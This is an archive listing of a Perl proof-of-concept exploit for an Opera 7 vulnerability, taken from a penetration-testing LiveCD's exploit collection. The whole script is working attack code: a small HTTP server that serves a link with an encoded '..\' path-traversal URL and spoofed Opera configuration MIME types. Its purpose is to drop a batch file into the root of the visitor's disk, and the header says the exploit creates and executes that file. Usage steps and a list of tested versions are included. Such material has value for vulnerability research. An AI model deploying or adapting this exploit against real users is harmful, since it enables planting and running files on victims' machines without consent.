home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / webbrowser / opera / nesumin-opera.pl < prev    next >
Perl Script  |  2005-02-12  |  4KB  |  110 lines

  1. #!/usr/bin/perl
  2. ##################################################
  3. #
  4. # Sample code of
  5. #   "[Opera 7] Arbitrary File Auto-Saved Vulnerability."
  6. #   
  7. #   This Exploit will run a webserver that will create and execute a batch 
  8. #   file on the victim's computer when visiting this malicious server
  9. #
  10. #   This perl script is a small HTTP server for a check ofthe vulnerability.
  11. #   BTW, you can exploit this vulnerability without a server like this 
  12. #   if your apache or etc., allow a request URL that contains '..'.
  13. #
  14. # Tested on :
  15. #   Opera 7.22
  16. #   Opera 7.21
  17. #   Opera 7.20
  18. #   Opera 7.1X
  19. #   Opera 7.0X
  20. #
  21. #   with Active Perl 5.8.0 on Windows 2000 Pro SP4 JP.
  22. #   (maybe need Perl 5.6 or later)
  23. #
  24. # Usage :
  25. #  [0] Execute "perl this_script 10080" on a console,
  26. #      this server starts to listen in port 10080.
  27. #  [1] Opera opens "http://127.0.0.1:10080/".
  28. #  [2] Click link.
  29. #  [3] Auto-saved an arbitrary file on a root directory
  30. #      of Local Disk ...
  31. #
  32. # 2003/11/15
  33. # written by nesumin <nesumin softhome net>
  34. # public on www.k-otik.com
  35. #
  36. ###################################################
  37. use HTTP::Daemon;
  38. use HTTP::Status;
  39.  
  40. use constant URL => '..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C_opera_.bat';
  41.  
  42. use constant FILE_CONTENT => qq~\@echo off\x0D\x0Aecho "Love & Peace :-)"\x0D\x0A\@pause~;
  43. use constant RES_HEADERS => qw(Pragma no-cache Connection close);
  44. use constant REUSE => 1;
  45. use constant VIEW_DATA => 0;
  46.  
  47.  
  48. my @MIMETYPES = qw(
  49. application/x-opera-configuration-keyboard
  50. application/x-opera-configuration-menu
  51. application/x-opera-configuration-mouse
  52. application/x-opera-configuration-toolbar
  53. application/x-opera-configuration-skin
  54. application/x-opera-skin
  55. );
  56. my $port = ($ARGV[0] || 10080) + 0;
  57. die("port is not correct") unless (0 < $port && $port < 65536);
  58.  
  59. my $daemon = new HTTP::Daemon(LocalPort=>$port, Reuse=>REUSE)
  60. or die("HTTP::Daemon->new() error : $!.\n");
  61. select(STDERR);
  62. printf("[*] server started on %d.\n", $daemon->sockport());
  63.  
  64. while (my $ccon = $daemon->accept()) {
  65. printf("[*] incoming client : from %s:%d(%08X).\n",
  66.  inet_ntoa($ccon->peeraddr()), $ccon->peerport(), $ccon);
  67. if (my $req = $ccon->get_request()) {
  68.  print("\n[*] request received...\n", map{" >>  $_\n"}
  69.   ($req->as_string() =~ /^([^\r\n]+)/mg)) if (VIEW_DATA);
  70.  if ($req->method eq 'GET') {
  71.   my $url = URL;
  72.   my $res = new HTTP::Response(200, 'OK', new HTTP::Headers(RES_HEADERS));
  73.   $res->protocol("HTTP/1.0");
  74.   if ($req->url->path eq '/') {
  75.    $res->header('Content-type'=>'text/html');
  76.    $res->content(qq~<a href="$url">Click here</a>~);
  77.   
  78.   } else {
  79.  
  80.    my $mimetype = $MIMETYPES[rand(@MIMETYPES)];
  81.    if ($req->header('User-Agent')=~m~Opera[\s+/]((\d\.\d)\d)~i){
  82.     # Opera 7.0x
  83.     if ($2 eq "7.0") {
  84.      $url .= '*.zip';# '*' is a special char :-)
  85.      $mimetype = $MIMETYPES[$#MIMETYPES];
  86.     # Opera 7.22
  87.     } elsif ($1 eq "7.22") {
  88.      $mimetype = $MIMETYPES[rand(@MIMETYPES-2)];
  89.     }
  90.    }
  91.  
  92.    $res->header('Content-type'=>$mimetype);
  93.    $res->content(FILE_CONTENT);
  94.   }
  95.   $ccon->send_response($res);
  96.   print("\n[*] response sent...\n", map{" >>  $_\n"}
  97.    ($res->as_string() =~ /^([^\r\n]+)/mg)) if (VIEW_DATA);
  98.  } else {
  99.   $ccon->send_error(RC_METHOD_NOT_ALLOWED);
  100.  }
  101. }
  102. printf("[*] client closed : from %s:%d (%08X).\n",
  103.  inet_ntoa($ccon->peeraddr()), $ccon->peerport(), $ccon);
  104. $ccon->close();
  105. undef($ccon);
  106. }
  107. print("[*] server closed.\n");
  108. $daemon->close();
  109. undef($daemon);
  110.